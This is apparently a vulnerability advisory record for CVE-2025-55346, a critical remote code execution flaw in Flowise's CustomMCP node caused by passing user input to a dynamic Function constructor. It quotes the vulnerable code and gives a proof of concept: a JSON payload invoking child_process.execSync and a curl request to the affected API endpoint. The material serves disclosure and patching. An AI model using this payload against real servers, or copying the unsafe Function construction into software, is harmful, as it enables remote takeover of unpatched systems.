GHSA-hmgh-466j-fx4c

Suggest an improvement
Source
https://github.com/advisories/GHSA-hmgh-466j-fx4c
Import Source
https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-hmgh-466j-fx4c/GHSA-hmgh-466j-fx4c.json
JSON Data
https://api.osv.dev/v1/vulns/GHSA-hmgh-466j-fx4c
Aliases
  • CVE-2025-55346
Published
2025-10-06T14:08:45Z
Modified
2025-10-06T14:57:19.584637Z
Severity
  • 9.8 (Critical) CVSS_V3 - CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H CVSS Calculator
Summary
Flowise vulnerable to RCE via Dynamic function constructor injection
Details

Summary

User-controlled input flows to an unsafe implementaion of a dynamic Function constructor , allowing a malicious actor to run JS code in the context of the host (not sandboxed) leading to RCE.

Details

When creating a new Custom MCP Chatflow in the platform, the MCP Server Config displays a placeholder hinting at an example of the expected input structure:

{
    "command": "npx",
    "args": ["-y", "@modelcontextprotocol/server-filesystem", "/path/to/allowed/files"]
}

Behind the scene, a POST request to /api/v1/node-load-method/customMCP is sent with the provided MCP Server Config, with additional parameters (excluded for brevity):

{
...SNIP...

   "inputs":{
      "mcpServerConfig":{
         "command":"npx",
         "args":[
            "-y",
            "@modelcontextprotocol/server-filesystem",
            "/path/to/allowed/files"
         ]
      }
   },
   "loadMethod":"listActions"

...SNIP...
}

Sending the same request with the parameter mcpServerConfig equals to a plain value and not an object, for example:

{
   "inputs":{
      "mcpServerConfig":"test"
   },
   "loadMethod":"listActions"
}

We enter an interesting code flow that leads to a function named convertValidJSONString (Line 103): https://github.com/FlowiseAI/Flowise/blob/416e57380ea7ce2e66f89aded61b249ff3eef3b2/packages/components/nodes/tools/MCP/CustomMCP/CustomMCP.ts#L103

async getTools(nodeData: INodeData): Promise<Tool[]> {
        const mcpServerConfig = nodeData.inputs?.mcpServerConfig as string

        if (!mcpServerConfig) {
            throw new Error('MCP Server Config is required')
        }

        try {
            let serverParams
            if (typeof mcpServerConfig === 'object') {
                serverParams = mcpServerConfig
            } else if (typeof mcpServerConfig === 'string') {
                const serverParamsString = convertToValidJSONString(mcpServerConfig) <--
                serverParams = JSON.parse(serverParamsString)
            }

            const toolkit = new MCPToolkit(serverParams, 'stdio')
            await toolkit.initialize()

            const tools = toolkit.tools ?? []

            return tools as Tool[]
        } catch (error) {
            throw new Error(`Invalid MCP Server Config: ${error}`)
        }
    }
}

Here, the value of inputString originating from mcpServerConfig is being concatenated to a dynamic Function constructor that evaluates the provided value similar to using eval:

function convertToValidJSONString(inputString: string) {
    try {
        const jsObject = Function('return ' + inputString)()
        return JSON.stringify(jsObject, null, 2)
    } catch (error) {
        console.error('Error converting to JSON:', error)
        return ''
    }
}

This JS code runs in the context of the host, not sandboxed using @flowiseai/nodevm like other code execution functionalities within the platform.

This enables access to the global process object and as a result access to all the native NodeJS modules available such as child_process, leading to Remote Code Execution.

{
    "inputs":{
        "mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"
        },
    "loadMethod":"listActions"
}

PoC

  1. Follow the provided instructions for running the app using Docker Compose (or other methods of your choosing such as npx, pnpm, etc): https://github.com/FlowiseAI/Flowise?tab=readme-ov-file#-docker

  2. Create a new file named payload.json somewhere in your machine, with the following data:

    {"inputs":{"mcpServerConfig":"(global.process.mainModule.require('child_process').execSync('touch /tmp/yofitofi'))"},
    "loadMethod":"listActions"}
    
  3. Send the following curl request using the payload.json file created above with the following command:

    curl -XPOST -H "x-request-from: internal" -H "Content-Type: application/json" --data @payload.json "http://localhost:3000/api/v1/node-load-method/customMCP"
    
  4. Observe that a new file named yofitofi is created under /tmp folder.

    Impact

Remote code execution

Credit

The vulnerability was discovered by Assaf Levkovich of the JFrog Security Research team.

Database specific
{
    "github_reviewed": true,
    "severity": "CRITICAL",
    "github_reviewed_at": "2025-10-06T14:08:45Z",
    "nvd_published_at": null,
    "cwe_ids": [
        "CWE-627",
        "CWE-95"
    ]
}
References

Affected packages

npm / flowise

Package

Affected ranges

Type
SEMVER
Events
Introduced
0Unknown introduced version / All previous versions are affected
Last affected
2.2.7-patch.1

Database specific

source
"https://github.com/github/advisory-database/blob/main/advisories/github-reviewed/2025/10/GHSA-hmgh-466j-fx4c/GHSA-hmgh-466j-fx4c.json"